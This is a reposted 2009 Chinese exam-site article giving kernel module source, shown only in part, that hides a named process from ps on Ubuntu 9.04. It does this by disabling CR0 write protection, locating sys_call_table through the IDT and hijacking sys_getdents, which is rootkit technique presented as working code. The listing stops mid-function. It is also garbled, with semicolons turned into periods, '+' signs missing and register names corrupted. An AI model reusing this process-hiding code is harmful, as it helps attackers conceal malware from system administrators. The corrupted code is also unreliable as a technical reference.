关于劫持系统调用隐藏进程Linux认证考试

文章作者 100test 发表时间 2009:09:23 08:51:47
来源 100Test.Com百考试题网


  网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:
  1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.
  unsigned int clear_and_return_cr0(void).
  void setback_cr0(unsigned int val).
  2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.
  测试环境: ubuntu9.04 内核版本2.6.28
  模块代码如下:
  /*hideps.c*/
  #include <.linux/module.h>.
  #include <.linux/kernel.h>.
  #include <.asm/unistd.h>.
  #include <.linux/types.h>.
  #include <.linux/sched.h>.
  #include <.linux/dirent.h>.
  #include <.linux/string.h>.
  #include <.linux/file.h>.
  #include <.linux/fs.h>.
  #include <.linux/list.h>.
  #include <.asm/uaccess.h>.
  #include <.linux/unistd.h>.
  //#include <.sys/stat.h>.
  //#include <.fcntl.h>.
  #define CALLOFF 100
  //使用模块参数来定义需要隐藏的进程名
  int orig_cr0.
  char psname[10]="looptest".
  char *processname=psname.
  //module_param(processname, charp, 0).
  struct {
  unsigned short limit.
  unsigned int base.
  } __attribute__ ((packed)) idtr.
  struct {
  unsigned short off1.
  unsigned short sel.
  unsigned char none,flags.
  unsigned short off2.
  } __attribute__ ((packed)) * idt.
  struct linux_dirent{
  unsigned long d_ino.
  unsigned long d_off.
  unsigned short d_reclen.
  char d_name[1].
  }.
  void** sys_call_table.
  unsigned int clear_and_return_cr0(void)
  {
  unsigned int cr0 = 0.
  unsigned int ret.
  asm volatile ("movl %%cr0, %陎"
  : "=a"(cr0)
  ).
  ret = cr0.
  /*clear the 20th bit of CR0,*/
  cr0 &.= 0xfffeffff.
  asm volatile ("movl %陎, %%cr0"
  :
  : "a"(cr0)
  ).
  return ret.
  }
  void setback_cr0(unsigned int val)
  {
  asm volatile ("movl %陎, %%cr0"
  :
  : "a"(val)
  ).
  }
  asmlinkage long (*orig_getdents)(unsigned int fd,
  struct linux_dirent __user *dirp, unsigned int count).
  char * findoffset(char *start)
  {
  char *p.
  for (p = start. p <. start CALLOFF. p )
  if (*(p 0) == ’\xff’ &.&. *(p 1) == ’\x14’ &.&. *(p 2) == ’\x85’)
  return p.

相关文章


第三方linux认证:LPI考试注意事项Linux认证考试
linux下面串口工具CkermitLinux认证考试
ARM携手VIALinux移动平台求更多机会Linux认证考试
谷歌OS能击败Linux的10大理由Linux认证考试
关于劫持系统调用隐藏进程Linux认证考试
UbuntuServer网络配置Linux认证考试
Linux编程:linux串口示例Linux认证考试
文件系统大杂烩看看哪种适合你Linux认证考试
采用Linux能使在线银行交易更安全Linux认证考试
澳大利亚华人论坛
考好网
日本华人论坛
华人移民留学论坛
英国华人论坛